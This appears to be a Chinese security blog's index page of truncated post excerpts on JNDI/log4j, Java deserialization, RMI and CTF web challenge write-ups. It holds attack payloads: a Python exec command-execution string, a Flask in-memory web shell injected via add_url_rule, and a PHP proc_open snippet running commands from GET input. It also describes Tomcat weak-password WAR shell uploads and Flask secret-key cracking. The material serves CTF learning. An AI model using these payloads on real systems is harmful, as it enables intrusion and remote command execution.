从JNDI注入到log4j注入
本文章首发于先知社区从JNDI注入到log4j漏洞今天闲的慌,不知道学些什么,于是去NSS上找一下java的题目想着刷点题,于是刷到了一题log4j的题目,一直都能听说这个log4j的核弹级漏洞的威名想着学一下,于是就有了这篇文章
JNDI首先我们要先了解一下什么是JNDIJNDI全名(Java Naming and Directory Interface即Java命名和目录接口)
命名服务命名服务的主要功能是将人们的友好名称映射到对象,例如地址、标识符或计算机程序通常使用的对象。
例如,Internet 域名系统 (DNS) 将计算机名称映射到 IP 地址:
www.example.com ==> 192.0.2.5文件系统将文件名映射到程序可用于访问文件内容的文件引用。
c:\bin\autoexec.bat ==> File Reference
目录服务许多命名服务都使用目录服务进行扩展。目录服务将名称与对象相关联,并将此类对象与属性相关联。
目录服务 = 命名服务 + 包含属性的对象
您不仅可以按对象名称查找对象,还可以获取对象的属性或根据对象的属性搜索对象。例如, ...
python无回显下的命令执行
关于python命令执行不出网无回显的情况下主要分为两种情况,开启debug未开启debug开启debug使用exec("raise%20Exception(__import__(%27os%27).popen(%27whoami%27).read())")来进行报错输出命令执行结果
未开启debugadd_url_route在老版本的flask在进行请求后仍然是可以通过addurlroute来添加路由的,但是新版本对其进行了修改导致其无法注入内存马,但是老版本还是可以使用的1sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen(request.args.get('shell')).read())通过`sys.modules[‘main‘].__dict[‘app’]获取该flask下的app。而后调用 ...
CTFSHOW
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293include 'init.php';function addUser($data,$username,$password){ $ret = array( 'code'=>0, 'message'=>'娣诲姞鎴愬姛' ); if(existsUser($data,$username)==0){ $s = $data.$username.'@'.$password.'|'; file_put_contents(DB_PATH, $s); }else{ $ret[ ...
JDK动态代理
为什么要动态代理想要知道为什么需要动态代理我们需要先知道什么是静态代理,有了静态代理为什么又需要动态代理
首先其实代理就是将一个实现接口的类,进行调用的类,其可以在调用的继承上增加一些自己的功能一个简单的DEMO代码如下123456789101112131415161718192021222324252627282930313233//IUser.javapublic interface IUser { public void getName();}//User.javapublic class User implements IUser{ @Override public void getName() { System.out.println("User"); } }//UserProxy.javapublic class UserProxy implements IUser { private IUser user; public ...
CC链
文章首发于freebufjava反序列化CC1-CC7的调试解析这篇文章用于记录我学习cc链的过程,这几天打了一下校赛,说实话打的不咋地,我和队友发挥都不大行,有种白学这么久的美,KP杯里有道CC2的题,说实话打比赛的时候我只是刚开始学cc1,也没完全理解,现在OK了。CC1先来聊一下CC1吧。首先我们想要命令执行就需要找到一个恶意方法。也就是如下的类方法
我们可以看到InvokerTransformer中的transformer方法进行了一个反射调用123456789public O transform(Object input) { if (input == null) { return null; } else { try { Class<?> cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, ...
KPCTF-初赛wp
Sign_1n签到题打开发现为Apache Tomcat/8.0.43在网上搜索会发现该版本存在后台弱口令+文件上传getshell访问/manager/html路由tomcat/tomcat登陆登陆后台会发现其存在war包上传写一个蚁剑的shell.jsp压缩后,后缀改为war上传后在蚁剑连接在根目录发现flag
How to get the flag打开后查看index.php12345678<?php // flag in flag.php show_source(__FILE__); $file = $_GET['file']; if (preg_match('/^[a-zA-Z0-9\/.]+$/', $file) && !preg_match('/(\.\.)|(\.\/)/', $file)) { include '/tmp/'.$file; }?>我们会发现存在文件包含并且只能读取/tmp文件下的内容扫描后台发现存在flag.p ...
常见姿势
web805_open_basedir这题考察的是如何绕过open_basedir。open_basedir是php的一个闲着目录的ini设置,但是这个还是比较好逃逸的首先我们可以发现其无法使用常见的文件读取函数来读取open_basedir外的文件。但是我们有如下几种方式来绕过
1.open_basedir对命令执行并没有限制
我们可以先尝试绕过disable_functions。我尝试使用蚁剑的插件来进行绕过但是我不知道为什么蚁无法连接上这个。所以我只好手动绕过首先我发现其没有过滤proc_open这个函数,那么我们直接使用这个函数来命令执行1234567891011121314151617181920$command = $_GET[1];$descriptorspec=array( 0=>array('pipe','r'), 1=>array('pipe','w'), 2=>array('pipe','w ...
java反序列化+URLDNS链子
什么是序列化反序列化漏洞,其实在之前的python和php早就接触过了,但是其都没有java那么出名,java耳熟能详的漏洞好像基本都是java反序列化造成的。java的序列化的目的其实和其他语言很相似都是为了远程传输对象,保存对象等。java的序列化会将一个对象处理成一段二进制的字符,这使得传输效率的提高和存储空间的下讲,对提升性能来说是非常重要的。下面我来演示一些序列化和反序列化的过程
序列化和反序列的代码实现类person.java12345678910111213141516171819202122import java.io.*;//实现 Serializable 接口,表示该类可以被序列化和反序列化public class person implements Serializable{ private String name; private int age; //有参构造方法,实现赋值 public person(String name,int age){ this.name = name; this ...
长城杯复现
SQLUP登陆之后文件上传不多说
CandyShop在比赛的时候以为这个是用条件竞争来写,我太傻了赛后看了wp 发现SECRET_KEY竟然可以爆破出来使用flask-unsign可以对key进行爆破用法123456-----------------------------加密PS C:\Users\24882> C:\Users\24882\AppData\Roaming\Python\Python312\Scripts\flask-unsign.exe -d -c ".eJwNy0sKgCAQANC7zLpFTqTWZWJ0xpDQwM8iorvn9sF7wdcSjnZfkmEHH3CxOHtjcWPSMqvgtCOFmp2xTM4gB8srTBBZcovtGevsUtugXqVkSjKIOMUM3w-UGR5A.Zt2O4Q.FR2Rf6GsDgArFUTCs69-3mqInJ8" -S "a123456"-----------------------------解码PS C:\Users\24882> C:\Users\248 ...
RMI
原本是打算在放假的使用学java的但是java内容太复杂了还有我太懒了,放假颓废了一个暑假,这才一直到开学才幡然醒悟,但是该说不说在上课的时候来学Java效率比在家里高多了嘿嘿本问学习与p牛的java安全漫谈与GitHub上的项目javasec什么是RMI所谓的RMI其实是java的一种远程导入库的一种方式,其是由Registry,Sever 还有Client组成通过图我们也可以看出来其交互过程为,Server创建远程对象而后组成Regisry,Client通过Regisry来查询自己要获取的对象。而后Regitry来放回远程调用对象的存根,而后stub与skeleton进行交互,而skeleton与远程对象进行交互
但是经过查阅java早在Java 2 SDK 1.2是就已经不使用skeleton了,而stub也不需要用户手动定义,所以真正的交互应该是stub和远程对象进行交互。
RMI的服务的分为接口,远程对象和注册表我们使用代码来对RMI进行理解12345678910111213141516171819202122232425262728293031323334353637383 ...